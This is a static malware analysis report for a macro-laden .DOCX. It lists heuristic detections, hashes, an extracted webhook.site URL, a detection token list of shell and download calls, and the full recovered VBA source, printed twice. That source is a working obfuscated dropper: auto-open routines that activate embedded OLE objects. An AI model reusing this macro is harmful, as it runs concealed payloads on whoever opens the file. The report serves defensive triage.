Malicious Office (OOXML) / .DOCX — malware analysis report

Static analysis result for SHA-256 dec4f76849fcadc6…

MALICIOUS

Office (OOXML) / .DOCX

86.0 KB Created: 2013-12-23 23:15:00 UTC Authoring application: Microsoft Macintosh Word 14.0000 First seen: 2026-06-14
MD5: dec38e013c54704c08ac54bdf7e4c692 SHA-1: 9e666b67d4a46c09247be33e7cc8e1c0a904cc53 SHA-256: dec4f76849fcadc652f2f38e62c0580c7b39e58411dcf01615ef4e16afbe7f47
108 Risk Score

Heuristics 8

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
    ' Initialize application context
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
    b2StaVM
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
    b2StaVM
  • Embedded OLE object medium OOXML_OLE_OBJECT
    Document contains an embedded OLE object
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://webhook.site/a72d8905-b15f-4e95-9a8f-5e4bb7dc9b3d In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/mac/office/2008/mainIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/windows/2004/02/mit/task^In document text (OOXML body / shared strings)

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2800 bytes
SHA-256: 90dbe12c0656ea0fefc85d4c4cff46786de8ec64d92927790ce40c870a68be2d
Preview script
First 1,000 lines of the extracted script
Sub AutoOpen()
    ' Initialize application context
    b2StaVM
End Sub

Sub Workbook_Open()
    b2StaVM
End Sub

Sub Auto_Open()
    b2StaVM
End Sub

Sub b2StaVM()
    On Error Resume Next
    Randomize
    Dim vWX7WQN3G As Boolean
    vWX7WQN3G = (41 Mod 5 = 0)
    If Not vWX7WQN3G Then vWX7WQN3G = True

    Dim xjR6 As Single
    xjR6 = Timer
    Do While Timer < xjR6 + 3: DoEvents: Loop

    tTKG53pX
End Sub

Sub tTKG53pX()
    ' Module ID: 2EB7C7DB
    On Error Resume Next

    Dim tbdej As Object
    Select Case Application.Name
        Case Chr(77)&Chr(105)&Chr(99)&Chr(114)&Chr(111)&Chr(115)&Chr(111)&Chr(102)&Chr(116)&Chr(32)&Chr(87)&Chr(111)&Chr(114)&Chr(100)
            Set tbdej = ActiveDocument
        Case Chr(77)&Chr(105)&Chr(99)&Chr(114)&Chr(111)&Chr(115)&Chr(111)&Chr(102)&Chr(116)&Chr(32)&Chr(69)&Chr(120)&Chr(99)&Chr(101)&Chr(108)
            Set tbdej = ActiveWorkbook
        Case Chr(77)&Chr(105)&Chr(99)&Chr(114)&Chr(111)&Chr(115)&Chr(111)&Chr(102)&Chr(116)&Chr(32)&Chr(80)&Chr(111)&Chr(119)&Chr(101)&Chr(114)&Chr(80)&Chr(111)&Chr(105)&Chr(110)&Chr(116)
            Set tbdej = ActivePresentation
    End Select

    If tbdej Is Nothing Then Exit Sub

    ' Check environment consistency
    Dim gjKYdg As Integer
    For gjKYdg = 1 To tbdej.InlineShapes.Count
        On Error Resume Next
        tbdej.InlineShapes(gjKYdg).OLEFormat.Activate
    Next gjKYdg

End Sub
Sub AutoOpen()
    ' Initialize application context
    b2StaVM
End Sub

Sub Workbook_Open()
    b2StaVM
End Sub

Sub Auto_Open()
    b2StaVM
End Sub

Sub b2StaVM()
    On Error Resume Next
    Randomize
    Dim vWX7WQN3G As Boolean
    vWX7WQN3G = (41 Mod 5 = 0)
    If Not vWX7WQN3G Then vWX7WQN3G = True

    Dim xjR6 As Single
    xjR6 = Timer
    Do While Timer < xjR6 + 3: DoEvents: Loop

    tTKG53pX
End Sub

Sub tTKG53pX()
    ' Module ID: 2EB7C7DB
    On Error Resume Next

    Dim tbdej As Object
    Select Case Application.Name
        Case Chr(77)&Chr(105)&Chr(99)&Chr(114)&Chr(111)&Chr(115)&Chr(111)&Chr(102)&Chr(116)&Chr(32)&Chr(87)&Chr(111)&Chr(114)&Chr(100)
            Set tbdej = ActiveDocument
        Case Chr(77)&Chr(105)&Chr(99)&Chr(114)&Chr(111)&Chr(115)&Chr(111)&Chr(102)&Chr(116)&Chr(32)&Chr(69)&Chr(120)&Chr(99)&Chr(101)&Chr(108)
            Set tbdej = ActiveWorkbook
        Case Chr(77)&Chr(105)&Chr(99)&Chr(114)&Chr(111)&Chr(115)&Chr(111)&Chr(102)&Chr(116)&Chr(32)&Chr(80)&Chr(111)&Chr(119)&Chr(101)&Chr(114)&Chr(80)&Chr(111)&Chr(105)&Chr(110)&Chr(116)
            Set tbdej = ActivePresentation
    End Select

    If tbdej Is Nothing Then Exit Sub

    ' Check environment consistency
    Dim gjKYdg As Integer
    For gjKYdg = 1 To tbdej.InlineShapes.Count
        On Error Resume Next
        tbdej.InlineShapes(gjKYdg).OLEFormat.Activate
    Next gjKYdg

End Sub
ooxml_oleobject_00.bin ooxml-ole-object OOXML embedded OLE part: word/embeddings/oleObject1.bin 45314 bytes
SHA-256: 0806ab0d7bd6ee3efc6a28e83e8415406a01a115d8ef46546f2cf61e70811f69
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact entropy is 8.00, consistent with packed or encrypted content.
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 17408 bytes
SHA-256: e71867cefa1656f053cbb3ef43e6a3dea35e43a720805623b57bc1e1cc611709
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).

Open this report in the interactive analyzer, or submit your own file for analysis.